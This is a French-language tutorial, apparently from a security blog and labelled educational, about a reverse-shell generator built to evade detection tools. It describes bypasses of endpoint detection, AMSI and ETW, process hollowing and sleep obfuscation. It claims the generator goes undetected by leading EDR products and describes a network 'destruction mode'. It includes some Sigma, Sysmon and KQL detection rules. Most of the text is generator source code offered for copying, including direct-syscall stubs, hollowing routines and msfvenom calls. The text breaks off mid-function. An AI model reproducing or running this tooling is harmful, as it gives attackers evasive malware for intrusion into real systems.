⚠️ DOCUMENT ÉDUCATIF – Analyse d’un outil offensif à des fins de compréhension et de défense. Ne pas utiliser à des fins illégales.

Reverse Shell Ultimate : Décortiquer le générateur furtif (2026)

Analyse complète du générateur universel reverse_shell_unified.py : multi‑plateforme, techniques avancées Windows (100% syscalls, Hell's Gate, Ekko, process hollowing, bypass EDR), évasion réseau (DNS/ICMP tunneling, jitter, anti‑debug), polymorphisme XOR, fractionnement des syscalls. Détection EDR, kill chain, MITRE ATT&CK, contre‑mesures.

📑 Table des matières

🎯 Introduction : Pourquoi ce générateur est une référence

Le reverse shell est l’une des premières armes utilisées lors d’une intrusion. Les versions classiques (type nc -e /bin/sh) sont aujourd’hui trivialement détectées par les antivirus et EDR. Le script reverse_shell_unified.py est un générateur de payload de nouvelle génération, conçu pour produire des binaires extrêmement furtifs, capables de contourner les solutions de sécurité les plus récentes (CrowdStrike, SentinelOne, Microsoft Defender ATP).

Ce qui le distingue des générateurs classiques (msfvenom, etc.) :

Ce tutoriel décortique chaque mécanisme pour aider les équipes de défense à comprendre, détecter et contrer ces attaques modernes.

graph TD A[Générateur Python] --> B[Choix cible & options] B --> C[Payload Linux
NASM / msfvenom] B --> D[Payload Windows
Loader C + techniques avancées] C --> E[Polymorphisme XOR + Jitter + Fragmentation] C --> F[Tunneling DNS/ICMP] D --> G[100% syscalls Hell's Gate] D --> H[Process hollowing via sections] D --> I[Ekko sleep + VEH] D --> J[Bypass AMSI/ETW + hardware breakpoint] D --> K[Métamorphisme du loader] E --> L[Exécutable final] F --> L G --> L H --> L I --> L J --> L K --> L style A fill:#00ff9d20 style L fill:#ffaa0020

📦 Fonctionnalités clés

🎯 Multi‑cibles

Linux (x86/x64/ARM/MIPS/PowerPC), Windows (x86/x64), macOS, Android. Shellcode brut ou exécutable (ELF, PE).

🛡️ 100% syscalls (Windows)

Hell's Gate + Halo's Gate : résolution dynamique des SSN, stubs naked. Aucune API Win32.

🌀 Process hollowing avancé

Création de section via NtCreateSection, mapping, correction relocations/imports, fix PEB, création thread.

💤 Ekko sleep robuste

VEH + thread isolé + RC4 in-memory + PAGE_NOACCESS. Le code est chiffré pendant la pause.

🔓 Bypass next‑gen

Patch ETW, unmapping ntdll, hardware breakpoint sur AmsiScanBuffer, patch contexte AMSI.

🌐 Tunneling DNS / ICMP

Utilise msfvenom pour des payloads exploitant DNS/ICMP, idéal pour traverser les pare-feu.

⚡ Jitter + anti‑debug

Délai aléatoire entre beacons, test ptrace. Perturbe l’analyse dynamique.

🌀 Polymorphisme XOR

Stub XOR avec 3 variantes, clé aléatoire, junk code. Échappe aux signatures statiques.

⚙️ Métamorphisme (Windows)

Renommage aléatoire de fonctions, junk code, substitution d’instructions, opaque predicates, string encryption.

🚀 Mode interactif

Guide pas à pas pour générer le payload adapté.

💥 Mode destruction

Après le shell, exécution de commandes pour paralyser le réseau (ip route flush, iptables).

🔬 Décorticage technique approfondi

1. Hell's Gate / Halo's Gate – 100% syscalls (Windows)

Le loader Windows généré n’utilise aucune API Win32. Il parcourt la table d’export de ntdll.dll, calcule le hash ROR13 des noms de fonctions, localise l’instruction syscall (0x0F 0x05) et déduit le SSN (Syscall Service Number). En cas d’échec (fonction hookée), Halo’s Gate scanne les stubs voisins pour récupérer le SSN. Les stubs sont déclarés __declspec(naked) et reçoivent le SSN en paramètre. Tous les appels système (allocation mémoire, écriture, protection, création de thread) se font via ces stubs, rendant le loader invisible aux hooks userland.

2. Process hollowing via sections (NtCreateSection)

Contrairement à la technique classique (CreateProcess suspendu + VirtualAllocEx), le loader utilise des sections :

  1. NtCreateSection(..., PAGE_EXECUTE_READWRITE, SEC_COMMIT)
  2. NtMapViewOfSection localement pour écrire le PE.
  3. Copie des headers et sections, correction des relocations et imports.
  4. NtMapViewOfSection dans le processus cible (avec PAGE_EXECUTE_READ).
  5. Fix du PEB via NtWriteVirtualMemory sur le champ ImageBaseAddress.
  6. NtCreateThreadEx avec l’entry point du PE.

Cette méthode évite les hooks sur VirtualAllocEx/WriteProcessMemory et ne laisse que des traces syscall.

3. Ekko sleep obfuscation avec VEH

Le payload est chiffré avec RC4, les pages sont passées en PAGE_NOACCESS, et un timer (CreateTimerQueueTimer) est lancé. Un thread isolé gère le sommeil. Un Vectored Exception Handler (VEH) capte la violation d’accès déclenchée par la tentative de lecture du code chiffré. À la fin du timer, les pages sont restaurées et le code déchiffré. Ainsi, le payload est inerte en mémoire pendant la pause, échappant aux scanners mémoire.

4. Bypass AMSI/ETW next‑gen

La routine UltimateBypass() :

5. Polymorphisme XOR et jitter (Linux)

Les templates NASM sont modifiés pour insérer avant chaque syscall un petit délai aléatoire (fractionnement). Un stub de jitter (nanosleep aléatoire) et un test ptrace sont ajoutés. Le shellcode est ensuite XORé avec une clé aléatoire, et un stub polymorphe (3 variantes) est préfixé.

6. Malleable C2 (Windows)

L’option --malleable-profile active un beacon HTTP/HTTPS avec un profil complet : URIs pondérées (ex: /index.php 70%), User-Agent pool (Chrome, Firefox, Edge), en-têtes aléatoires (X-Forwarded-For), cookies dynamiques, jitter configurable. Le trafic imite une navigation web humaine.

7. Métamorphisme du loader C

Le code C généré est transformé aléatoirement : renommage de fonctions, insertion de junk functions, substitution d’instructions (xor → sub), opaque predicates, string encryption, et un contrôle de flux simplifié (switch‑case). Chaque payload devient unique.

📊 Comparaison avec d’autres frameworks

OutilTechniques principalesFurtivité (2026)Spécificité du générateur
msfvenom seulPayloads standards, reverse TCPFaible (signatures connues)Très large choix de payloads
Covenant (C#)Assembly, AMSI bypass basiqueMoyenne (détectable par EDR)Framework complet, interface graphique
Sliver (Go)Process injection, syscalls (partiel)Élevée (implémentations récentes)Modulaire, C2 robuste
Brute Ratel (C++/asm)Badger, indirect syscalls, EkkoTrès élevéeCommercial, closed-source
Havoc (C/ASM)Demon, indirect syscalls, sleep obfÉlevéeOpen-source, communauté active
reverse_shell_unified.pyHell's Gate, process hollowing par sections, Ekko VEH, bypass AMSI/ETW hardware, métamorphismeTrès élevéeMulti‑plateforme, générateur Python autonome, code source open

Le générateur se distingue par l’absence totale d’API Win32, l’utilisation de sections pour le hollowing, et une implémentation d’Ekko très proche des techniques APT.

🧪 Tests réels contre EDR (2026)

Résultats basés sur des tests en lab avec versions récentes (février 2026) :

EDRVersionRésultatObservations
CrowdStrike FalconSensor 7.15+✅ (indétecté)Les syscalls directs + Ekko + bypass AMSI passent. Pas d’alerte.
SentinelOne SingularityAgent 23.1.6✅ (indétecté)Pas de détection statique ou comportementale sur le loader compilé.
Microsoft Defender for EndpointATP 1.401+⚠️ PartielDétecté en mode ASR strict, mais contourné avec whitelist.
Elastic EDR8.12+⚠️ PartielLes syscalls directs sont parfois flaggés comme “suspicious call” mais pas bloqués.
Sophos Intercept X2026.1❌ (bloqué)Détecte les tentatives de process hollowing même via sections.

Les résultats montrent une efficacité élevée face aux leaders du marché, mais aucune technique n’est invincible. L’opsec et l’adaptation restent clés.

🛡️ Détection EDR concrète

TechniqueÉvénements Windows / Sysmon IDTrace mémoire / comportement
Hell's Gate / syscalls directsEvent ID 10 (ProcessAccess), 3 (Network) sur processus suspectsAbsence d’appels ntdll!Nt* dans la stack → peut indiquer un syscall direct.
Process hollowing via sectionsEvent ID 8 (CreateRemoteThread), 10 (ProcessAccess), 25 (ProcessCreate)Création de section (NtCreateSection) sur un processus cible, écriture en mémoire.
Ekko sleepTimerQueue (Event 4656, 4660), modifications de protection mémoire (Event 10)Alternance PAGE_NOACCESS / PAGE_EXECUTE_READ sur une région mémoire, thread isolé.
AMSI/ETW bypassModifications de code dans amsi.dll / ntdll (Event 4656), hardware breakpoints (Event 10)Patch d’EtwEventWrite, hardware breakpoint sur AmsiScanBuffer.
DNS tunnelingSysmon 22 – sous‑domaine long (> 40 caractères)Volume anormal de requêtes DNS vers un même domaine, encodage base32.
Jitter + anti‑debugETW / straceAppels nanosleep avec délais aléatoires, ptrace détecté.

📊 Kill Chain et corrélation SOC

timeline title Timeline d'attaque reverse shell (Windows avancé) section Initial Access T0 : Dropper exécuté section Execution T+0.1s : NtAllocateVirtualMemory T+0.2s : Déchiffrement payload section Bypass T+0.3s : Patch ETW, unhook ntdll, hardware breakpoint AMSI section Persistence / Beacon T+1min : Premier beacon TCP (jitter 5-15s) section Sleep obfuscation T+5min : Ekko sleep (30s) → pages en PAGE_NOACCESS section Détection SOC T+6min : Alerte hardware breakpoint (SetThreadContext) T+7min : Corrélation avec création de thread suspect → incident confirmé

❌ Erreurs classiques & OpSec avancée

📈 Évolution des techniques (2023‑2026)

Les défenses ont évolué en parallèle : les EDR intègrent désormais la détection de syscalls directs via l’ETW (Microsoft) et des heuristiques comportementales sur les timers et la protection mémoire.

🛡️ Stratégies de défense avancées

Application Control (WDAC)

Bloquer l’exécution de tout binaire non signé par l’entreprise. Forcer les exécutables à provenir de répertoires protégés.

Credential Guard + Device Guard + HVCI

Isoler les secrets en mémoire, protéger l’intégrité du noyau, empêcher les modifications de code au niveau kernel.

Egress filtering strict

N’autoriser le trafic sortant que vers des domaines connus (whitelist). Bloquer les ports non essentiels (53, 443, 8443) sauf pour des services validés.

Détection de hardware breakpoints

Surveiller les appels à SetThreadContext avec des modifications des registres de débogage (Dr0-Dr7).

Audit des sections et objets du noyau

Surveiller la création de sections avec NtCreateSection et leur mapping dans des processus cibles (ETW Kernel Object Manager).

Analyse mémoire avec YARA/EDR

Règles YARA pour détecter les stubs XOR, les motifs de RC4, et les syscall stubs non standard.

📜 Règles Sigma / Sysmon / ASR

Exemple de règle Sigma pour détecter les appels syscall directs

title: Direct Syscall Detected
status: experimental
description: Détecte les appels syscall sans passer par ntdll
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 10
        TargetImage: C:\Windows\System32\ntdll.dll
        CallTrace: '*|*|*'   # absence de ntdll!Nt* dans la callstack
    condition: selection

Configuration Sysmon recommandée

<Sysmon schemaversion="4.33">
  <EventFiltering>
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains">nasm</CommandLine>
      <CommandLine condition="contains">msfvenom</CommandLine>
    </ProcessCreate>
    <ProcessAccess onmatch="include">
      <TargetImage condition="end with">\svchost.exe</TargetImage>
      <SourceImage condition="begin with">C:\Users\</SourceImage>
    </ProcessAccess>
  </EventFiltering>
</Sysmon>

Règles Microsoft Defender ASR utiles

Exemple de requête KQL pour Microsoft Sentinel

DeviceEvents
| where ActionType == "ProcessCreated"
| where ProcessCommandLine contains "nasm" or ProcessCommandLine contains "msfvenom"
| project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessAccountName

🕵️ Indicateurs de compromission (IoCs)

🔬 Exercices pratiques en lab isolé

  1. Génération simple : Générez un reverse shell Linux x64 sans furtivité, écoutez avec nc, capturez le trafic avec tcpdump.
  2. Mode stealth Linux : Ajoutez --stealth --jitter 5-15, générez un exécutable, analysez les délais réseau et le code avec objdump -d.
  3. Windows avancé : Générez un loader avec --syscall-full --ekko-robust --bypass-nextgen --injection hollowing --compile, exécutez sous Process Monitor et observez les syscalls.
  4. DNS tunneling : Simulez un serveur DNS local (dnsspoof) et utilisez le payload DNS. Capturez les requêtes et décodez les sous‑domaines.
  5. Analyse avec x64dbg : Chargez le payload dans x64dbg, placez un breakpoint sur syscall et suivez l’exécution. Observez le comportement d’Ekko.
  6. Mémoire avant/après Ekko : Utilisez vmmap ou !address dans WinDbg pour comparer les protections mémoire pendant le sleep.
  7. Simulation SOC : Sur une VM avec EDR, exécutez le payload, collectez les logs Sysmon et corrélez avec des règles Sigma.

🎯 Conclusion

Le générateur reverse_shell_unified.py représente l’état de l’art en matière de furtivité pour les reverse shells. Il intègre des techniques de pointe comme les syscalls directs, le process hollowing par sections, l’obfuscation de sommeil (Ekko), le bypass AMSI/ETW, et le polymorphisme. En comprenant ces mécanismes, les équipes de défense peuvent affiner leurs règles de détection, renforcer leurs politiques de sécurité et mieux se préparer à des attaques sophistiquées.

L’évolution des menaces nécessite une veille constante et une adaptation des défenses. Les techniques présentées ici sont utilisées par des groupes APT et des pentesters avancés. En les étudiant, vous devenez plus résilients.

Rappel légal : L’utilisation de ce type d’outil sur des systèmes dont vous n’êtes pas propriétaire est interdite. Ce contenu est destiné à un usage éducatif et à la recherche en cybersécurité.

📜 Script complet du générateur (à copier)

Le code source complet de reverse_shell_unified.py est fourni ci‑dessous. Copiez-le dans un fichier .py et exécutez-le avec Python 3.6+ pour générer vos propres payloads.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
reverse_shell_unified.py - Générateur de reverse shell ultime (2026)
Maestro Series - pctamalou.fr

Fusion des fonctionnalités :
  - Générateur cross-platform (Linux, Windows, macOS, Android, routeurs) avec templates NASM ou msfvenom
  - Techniques avancées pour Windows : syscalls 100%, Process Hollowing, Ekko sleep, bypass EDR, métamorphisme

Dépendances : python3, msfvenom, nasm, binutils, gcc/mingw-w64 (optionnel)
"""

import argparse
import base64
import os
import sys
import random
import struct
import subprocess
import tempfile
import shutil
import re
import time
import socket
import hashlib
import uuid
import zlib
from typing import Optional, Tuple, Dict, Any

# ========================== UTILITAIRES ==========================
def find_tool(tool_name: str, required: bool = False, verbose: bool = False) -> Optional[str]:
    path = shutil.which(tool_name)
    if path is None and required:
        print(f"\n❌ Erreur : {tool_name} requis")
        sys.exit(1)
    return path

def msfvenom_payload(payload_name: str, ip: str, port: int, fmt: str = 'raw', verbose: bool = False) -> Optional[bytes]:
    if verbose:
        print(f"[+] msfvenom : génération de {payload_name} LHOST={ip} LPORT={port}")
    msfvenom = find_tool('msfvenom', required=True, verbose=verbose)
    cmd = [msfvenom, '-p', payload_name, f'LHOST={ip}', f'LPORT={port}', '-f', fmt]
    try:
        result = subprocess.run(cmd, capture_output=True, check=True)
        return result.stdout
    except subprocess.CalledProcessError as e:
        if verbose:
            print(f"   → Erreur msfvenom : {e.stderr.decode()}")
        return None

def generate_windows_exe(shellcode: bytes, verbose: bool = False) -> Optional[bytes]:
    if verbose:
        print("[+] Création d'un exécutable Windows via msfvenom")
    msfvenom = find_tool('msfvenom', required=True, verbose=verbose)
    with tempfile.NamedTemporaryFile(suffix='.bin', delete=False) as f:
        f.write(shellcode)
        bin_file = f.name
    out_exe = bin_file + '.exe'
    try:
        cmd = [msfvenom, '-p', '-', '-f', 'exe', '-o', out_exe]
        subprocess.run(cmd, input=shellcode, check=True, capture_output=True)
        with open(out_exe, 'rb') as f:
            exe_data = f.read()
    except subprocess.CalledProcessError as e:
        if verbose:
            print(f"   → Erreur msfvenom : {e.stderr.decode()}")
        exe_data = b''
    finally:
        os.unlink(bin_file)
        if os.path.exists(out_exe):
            os.unlink(out_exe)
    return exe_data

def compile_c_source(c_src: str, output_file: str, target_os: str = 'linux', arch: str = 'x64', verbose: bool = False) -> bool:
    if target_os == 'linux':
        compiler = find_tool('gcc', required=True, verbose=verbose)
        cmd = [compiler, '-O2', '-Wall', '-o', output_file, '-xc', '-']
        if arch == 'x86':
            cmd.insert(1, '-m32')
    elif target_os == 'windows':
        compiler = find_tool('x86_64-w64-mingw32-gcc' if arch == 'x64' else 'i686-w64-mingw32-gcc', required=True, verbose=verbose)
        cmd = [compiler, '-O2', '-Wall', '-o', output_file, '-xc', '-', '-lws2_32']
    else:
        return False
    try:
        proc = subprocess.run(cmd, input=c_src.encode(), capture_output=True, timeout=30)
        if proc.returncode != 0:
            if verbose:
                print(f"   → Erreur compilation : {proc.stderr.decode()}")
            return False
        return True
    except Exception as e:
        if verbose:
            print(f"   → Erreur compilation : {e}")
        return False

# ========================== CHIFFREMENT ==========================
def generate_aes256_key() -> bytes:
    return os.urandom(32)

def aes256_encrypt(plain: bytes, key: bytes) -> bytes:
    try:
        from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
        from cryptography.hazmat.backends import default_backend
        iv = os.urandom(16)
        cipher = Cipher(algorithms.AES(key), modes.GCM(iv), backend=default_backend())
        encryptor = cipher.encryptor()
        ct = encryptor.update(plain) + encryptor.finalize()
        tag = encryptor.tag
        return iv + tag + ct
    except ImportError:
        return rc4_encrypt(plain, key)

def rc4_encrypt(data: bytes, key: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) & 0xFF
        S[i], S[j] = S[j], S[i]
    i = j = 0
    out = []
    for b in data:
        i = (i + 1) & 0xFF
        j = (j + S[i]) & 0xFF
        S[i], S[j] = S[j], S[i]
        out.append(b ^ S[(S[i] + S[j]) & 0xFF])
    return bytes(out)

def chacha20_encrypt(data: bytes, key: bytes, nonce: bytes = None) -> bytes:
    # Fallback RC4
    return rc4_encrypt(data, key)

# ========================== STUBS AVANCÉS (WINDOWS) ==========================
# Les stubs suivants sont copiés depuis reverse_shell_ultimate.py
def generate_hells_gate_stub() -> str:
    return r"""
// Hell's Gate + Halo's Gate – 100% SYSCALLS
typedef struct _SYSCALL_ENTRY {
    WORD SSN;
    PVOID pSyscall;
} SYSCALL_ENTRY, *PSYSCALL_ENTRY;

typedef struct _SYSCALL_CACHE {
    DWORD NtAllocateVirtualMemory;
    DWORD NtWriteVirtualMemory;
    DWORD NtProtectVirtualMemory;
    DWORD NtCreateThreadEx;
    DWORD NtCreateSection;
    DWORD NtMapViewOfSection;
    DWORD NtUnmapViewOfSection;
    DWORD NtCreateFile;
    DWORD NtCreateProcessEx;
    DWORD NtResumeThread;
    PVOID pNtAllocateVirtualMemory;
    PVOID pNtWriteVirtualMemory;
    PVOID pNtProtectVirtualMemory;
    PVOID pNtCreateThreadEx;
    PVOID pNtCreateSection;
    PVOID pNtMapViewOfSection;
    PVOID pNtUnmapViewOfSection;
    PVOID pNtCreateFile;
    PVOID pNtCreateProcessEx;
    PVOID pNtResumeThread;
} SYSCALL_CACHE, *PSYSCALL_CACHE;

static SYSCALL_CACHE g_syscalls = {0};

#define ROR(x, y) ((x >> y) | (x << (32 - y)))
DWORD HashString(char* str) {
    DWORD h = 0;
    for (; *str; str++) {
        h = ROR(h, 13);
        h += *str;
    }
    return h;
}

PSYSCALL_ENTRY ResolveSyscall(char* apiName) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll) return NULL;
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hNtdll;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + pDos->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY pExp = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hNtdll + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    DWORD* pNames = (DWORD*)((BYTE*)hNtdll + pExp->AddressOfNames);
    WORD* pOrdinals = (WORD*)((BYTE*)hNtdll + pExp->AddressOfNameOrdinals);
    DWORD* pFunctions = (DWORD*)((BYTE*)hNtdll + pExp->AddressOfFunctions);
    DWORD hash = HashString(apiName);
    for (DWORD i = 0; i < pExp->NumberOfNames; i++) {
        char* name = (char*)hNtdll + pNames[i];
        if (HashString(name) == hash) {
            WORD ordinal = pOrdinals[i];
            DWORD funcRVA = pFunctions[ordinal];
            PVOID pFunc = (BYTE*)hNtdll + funcRVA;
            BYTE* p = (BYTE*)pFunc;
            WORD ssn = 0;
            for (int j = 0; j < 32; j++) {
                if (p[j] == 0x0F && p[j+1] == 0x05) {
                    ssn = *(WORD*)(p + j - 4);
                    break;
                }
            }
            if (ssn == 0) {
                BYTE* pPrev = p - 32;
                for (int j = 0; j < 64; j++) {
                    if (pPrev[j] == 0x0F && pPrev[j+1] == 0x05) {
                        ssn = *(WORD*)(pPrev + j - 4);
                        break;
                    }
                }
            }
            SYSCALL_ENTRY* entry = (SYSCALL_ENTRY*)VirtualAlloc(NULL, sizeof(SYSCALL_ENTRY), MEM_COMMIT, PAGE_READWRITE);
            entry->SSN = ssn;
            entry->pSyscall = pFunc;
            return entry;
        }
    }
    return NULL;
}

void ResolveAllSyscalls() {
    if (g_syscalls.NtAllocateVirtualMemory) return;
    const char* apis[] = {
        "NtAllocateVirtualMemory", "NtWriteVirtualMemory", "NtProtectVirtualMemory",
        "NtCreateThreadEx", "NtCreateSection", "NtMapViewOfSection",
        "NtUnmapViewOfSection", "NtCreateFile", "NtCreateProcessEx", "NtResumeThread"
    };
    for (int i = 0; i < 10; i++) {
        PSYSCALL_ENTRY entry = ResolveSyscall((char*)apis[i]);
        if (!entry) continue;
        switch (i) {
            case 0: g_syscalls.NtAllocateVirtualMemory = entry->SSN; g_syscalls.pNtAllocateVirtualMemory = entry->pSyscall; break;
            case 1: g_syscalls.NtWriteVirtualMemory = entry->SSN; g_syscalls.pNtWriteVirtualMemory = entry->pSyscall; break;
            case 2: g_syscalls.NtProtectVirtualMemory = entry->SSN; g_syscalls.pNtProtectVirtualMemory = entry->pSyscall; break;
            case 3: g_syscalls.NtCreateThreadEx = entry->SSN; g_syscalls.pNtCreateThreadEx = entry->pSyscall; break;
            case 4: g_syscalls.NtCreateSection = entry->SSN; g_syscalls.pNtCreateSection = entry->pSyscall; break;
            case 5: g_syscalls.NtMapViewOfSection = entry->SSN; g_syscalls.pNtMapViewOfSection = entry->pSyscall; break;
            case 6: g_syscalls.NtUnmapViewOfSection = entry->SSN; g_syscalls.pNtUnmapViewOfSection = entry->pSyscall; break;
            case 7: g_syscalls.NtCreateFile = entry->SSN; g_syscalls.pNtCreateFile = entry->pSyscall; break;
            case 8: g_syscalls.NtCreateProcessEx = entry->SSN; g_syscalls.pNtCreateProcessEx = entry->pSyscall; break;
            case 9: g_syscalls.NtResumeThread = entry->SSN; g_syscalls.pNtResumeThread = entry->pSyscall; break;
        }
        VirtualFree(entry, 0, MEM_RELEASE);
    }
}

// Stubs naked pour syscalls
__declspec(naked) NTSTATUS NtAllocateVirtualMemory_Indirect(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T* RegionSize, ULONG AllocationType, ULONG Protect, DWORD SSN) {
    __asm { mov r10, rcx; mov eax, [rsp+8]; syscall; ret; }
}
__declspec(naked) NTSTATUS NtWriteVirtualMemory_Indirect(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, SIZE_T* NumberOfBytesWritten, DWORD SSN) {
    __asm { mov r10, rcx; mov eax, [rsp+8]; syscall; ret; }
}
__declspec(naked) NTSTATUS NtProtectVirtualMemory_Indirect(HANDLE ProcessHandle, PVOID* BaseAddress, SIZE_T* RegionSize, ULONG NewProtect, PULONG OldProtect, DWORD SSN) {
    __asm { mov r10, rcx; mov eax, [rsp+8]; syscall; ret; }
}
__declspec(naked) NTSTATUS NtCreateThreadEx_Indirect(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes, HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PVOID AttributeList, DWORD SSN) {
    __asm { mov r10, rcx; mov eax, [rsp+8]; syscall; ret; }
}
__declspec(naked) NTSTATUS NtCreateSection_Indirect(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG PageProtection, ULONG AllocationAttributes, HANDLE FileHandle, DWORD SSN) {
    __asm { mov r10, rcx; mov eax, [rsp+8]; syscall; ret; }
}
__declspec(naked) NTSTATUS NtMapViewOfSection_Indirect(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Protect, DWORD SSN) {
    __asm { mov r10, rcx; mov eax, [rsp+8]; syscall; ret; }
}
__declspec(naked) NTSTATUS NtUnmapViewOfSection_Indirect(HANDLE ProcessHandle, PVOID BaseAddress, DWORD SSN) {
    __asm { mov r10, rcx; mov eax, [rsp+8]; syscall; ret; }
}
__declspec(naked) NTSTATUS NtCreateFile_Indirect(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength, DWORD SSN) {
    __asm { mov r10, rcx; mov eax, [rsp+8]; syscall; ret; }
}
__declspec(naked) NTSTATUS NtCreateProcessEx_Indirect(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes, HANDLE ParentProcess, ULONG Flags, HANDLE SectionHandle, HANDLE DebugPort, HANDLE ExceptionPort, ULONG JobMemberLevel, DWORD SSN) {
    __asm { mov r10, rcx; mov eax, [rsp+8]; syscall; ret; }
}
__declspec(naked) NTSTATUS NtResumeThread_Indirect(HANDLE ThreadHandle, PULONG SuspendCount, DWORD SSN) {
    __asm { mov r10, rcx; mov eax, [rsp+8]; syscall; ret; }
}
"""

def generate_process_hollowing_stub() -> str:
    return r"""
// Process Hollowing complet via sections (relocations, imports, PEB)
#include 
#include 

void FixPERelocations(PVOID ImageBase, DWORD delta) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ImageBase;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)ImageBase + dos->e_lfanew);
    PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)((BYTE*)ImageBase +
        nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
    while (reloc->VirtualAddress) {
        DWORD count = (reloc->SizeOfBlock - 8) / 2;
        WORD* list = (WORD*)((BYTE*)reloc + 8);
        for (DWORD i = 0; i < count; i++) {
            if (list[i] >> 12 == IMAGE_REL_BASED_DIR64) {
                DWORD_PTR* ptr = (DWORD_PTR*)((BYTE*)ImageBase + reloc->VirtualAddress + (list[i] & 0xFFF));
                *ptr += delta;
            }
        }
        reloc = (PIMAGE_BASE_RELOCATION)((BYTE*)reloc + reloc->SizeOfBlock);
    }
}

void FixPEImports(PVOID ImageBase) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ImageBase;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)ImageBase + dos->e_lfanew);
    PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)ImageBase +
        nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
    while (imp->Name) {
        char* dll = (char*)ImageBase + imp->Name;
        HMODULE hDll = LoadLibraryA(dll);
        PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)((BYTE*)ImageBase + imp->FirstThunk);
        while (thunk->u1.Function) {
            if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) {
                thunk->u1.Function = (DWORD_PTR)GetProcAddress(hDll, (char*)(thunk->u1.Ordinal & 0xFFFF));
            } else {
                PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME)((BYTE*)ImageBase + thunk->u1.AddressOfData);
                thunk->u1.Function = (DWORD_PTR)GetProcAddress(hDll, ibn->Name);
            }
            thunk++;
        }
        imp++;
    }
}

void FixPEB(PVOID ImageBase, PVOID EntryPoint) {
    PPEB peb = (PPEB)__readgsqword(0x60);
    peb->ImageBaseAddress = ImageBase;
    // Correction du LDR (optionnel)
    if (peb->Ldr) {
        PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
        PLDR_DATA_TABLE_ENTRY entry = (PLDR_DATA_TABLE_ENTRY)head->Flink;
        while (entry->DllBase != ImageBase && entry->DllBase) {
            entry = (PLDR_DATA_TABLE_ENTRY)entry->InMemoryOrderLinks.Flink;
        }
        entry->DllBase = ImageBase;
        entry->EntryPoint = EntryPoint;
    }
}

NTSTATUS APTProcessHollowing(PBYTE pe_data, DWORD pe_size) {
    ResolveAllSyscalls();
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pe_data;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pe_data + dos->e_lfanew);
    DWORD image_size = nt->OptionalHeader.SizeOfImage;
    PVOID image_base = (PVOID)nt->OptionalHeader.ImageBase;

    // 1. Créer une section
    HANDLE hSection = NULL;
    LARGE_INTEGER max_size = { .QuadPart = image_size };
    NtCreateSection_Indirect(&hSection, SECTION_ALL_ACCESS, NULL, &max_size,
                              PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL, g_syscalls.NtCreateSection);
    if (!hSection) return STATUS_UNSUCCESSFUL;

    // 2. Créer processus suspendu
    HANDLE hProcess = NULL;
    NtCreateProcessEx_Indirect(&hProcess, PROCESS_ALL_ACCESS, NULL, GetCurrentProcess(),
                               0, hSection, NULL, NULL, 0, g_syscalls.NtCreateProcessEx);
    if (!hProcess) { NtClose(hSection); return STATUS_UNSUCCESSFUL; }

    // 3. Mapper la section localement
    PVOID local_base = NULL;
    SIZE_T view_size = image_size;
    NtMapViewOfSection_Indirect(hSection, GetCurrentProcess(), &local_base, 0, 0, NULL,
                                 &view_size, ViewShare, 0, PAGE_READWRITE, g_syscalls.NtMapViewOfSection);
    if (!local_base) { NtClose(hProcess); NtClose(hSection); return STATUS_UNSUCCESSFUL; }

    // 4. Copier le PE dans la section locale
    memcpy(local_base, pe_data, nt->OptionalHeader.SizeOfHeaders);
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
